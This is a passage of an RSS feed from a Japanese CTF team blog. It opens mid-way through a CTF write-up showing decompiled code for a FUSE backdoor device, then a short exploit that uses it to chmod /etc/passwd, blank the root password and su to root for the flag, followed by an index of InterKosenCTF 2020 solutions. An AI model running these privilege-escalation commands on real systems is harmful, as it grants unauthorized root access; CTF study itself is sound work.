plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> iVar1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  __mode_t __mode</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">__s</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">__s1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">__file</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">__nptr</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> in_FS_OFFSET</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  stat64 local_a8</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> local_10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  local_10 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">in_FS_OFFSET </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x28</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  __s </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">strndup</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">buf</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">size</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__s </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token number" style="color:#36acaa">0x0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">fuse_reply_err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0x16</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">goto</span><span class="token plain"> LAB_00100c8c</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  __s1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">strtok</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__s</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">":"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  __file </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">strtok</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token number" style="color:#36acaa">0x0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">":"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  __nptr </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">strtok</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token number" style="color:#36acaa">0x0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">":"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__s1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token number" style="color:#36acaa">0x0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__file </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token number" style="color:#36acaa">0x0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__nptr </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token number" style="color:#36acaa">0x0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">fuse_reply_err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0x16</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    iVar1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">strncmp</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__s1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"b4ckd00r"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">8</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">iVar1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token function" style="color:#d73a49">stat64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__file</span><span class="token punctuation" style="color:#393A34">,</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">local_a8</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">local_a8</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">st_mode </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0xf000</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x8000</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        __mode </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">atoi</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__nptr</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        iVar1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">chmod</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__file</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">__mode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">iVar1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">          </span><span class="token function" style="color:#d73a49">fuse_reply_write</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">size</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">size</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">          </span><span class="token keyword" style="color:#00009f">goto</span><span class="token plain"> LAB_00100c7d</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token function" style="color:#d73a49">fuse_reply_err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0x16</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token function" style="color:#d73a49">fuse_reply_err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0x16</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LAB_00100c7d</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token function" style="color:#d73a49">free</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">__s</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LAB_00100c8c</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">local_10 </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">in_FS_OFFSET </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x28</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    </span><span class="token comment" style="color:#999988;font-style:italic">/* WARNING: Subroutine does not return */</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">__stack_chk_fail</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">return</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p><code>/dev/backdoor</code>に<code>b4ckd00r:ファイルパス:パーミション</code>の順で書き込むことによって任意のファイルのパーミションを変更できそうです</p>
<p>これを使うことで、<code>/etc/passwd</code>のrootパスワードを消去して<code>su</code>で特権昇格を図れます
あとは<code>/root</code>にある<code>flag-b40d08b2f732b94d5ba34730c052d7e3.txt</code>を読むだけです</p>
<p>exploitがこちら</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">echo "b4ckd00r:/etc/passwd:511" &gt; /dev/backdoor</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">echo root::0:0:root:/root:/bin/sh &gt; /etc/passwd</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">su</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ls /root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt</span><br></div></code></pre></div></div>
<p><code>zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}</code></p>]]></content:encoded>
            <category>ctf</category>
        </item>
        <item>
            <title><![CDATA[InterKosenCTF 2020 Writeup]]></title>
            <link>https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup</link>
            <guid>https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup</guid>
            <pubDate>Tue, 01 Sep 2020 05:45:00 GMT</pubDate>
            <description><![CDATA[Overview]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="overview">Overview<a href="https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup#overview" class="hash-link" aria-label="Overview への直接リンク" title="Overview への直接リンク" translate="no">​</a></h2>
<p>チーム KogCoder として参加し、1179pts獲得し31位でした</p>
<p><img decoding="async" loading="lazy" alt="result" src="https://kogcoder.com/assets/images/result-a6c87d78be6e9f04890b13d7ccea4fdc.jpg" width="1901" height="934" class="img_ev3q"></p>
<p>Reversing3問とCheat1問を解きました</p>
<h1>Reversing</h1>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup/in-question">in question</a>
<ul>
<li class="">破損バイナリ+angr</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup/harmagedon">harmagedon</a>
<ul>
<li class="">謎のクソでか文字列入りのバイナリ解析</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup/trilemma">trilemma</a>
<ul>
<li class="">3すくみするライブラリをどうにする問題</li>
</ul>
</li>
</ul>
<!-- -->
<h1>Cheat</h1>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2020/09/01/interkosenctf-2020-writeup/tip-toe">Tip Toe</a>
<ul>
<li class="">HSP製3Dゲームのチート</li>
</ul>
</li>
</ul>]]></content:encoded>
            <category>ctf</category>
        </item>
    </channel>
</rss>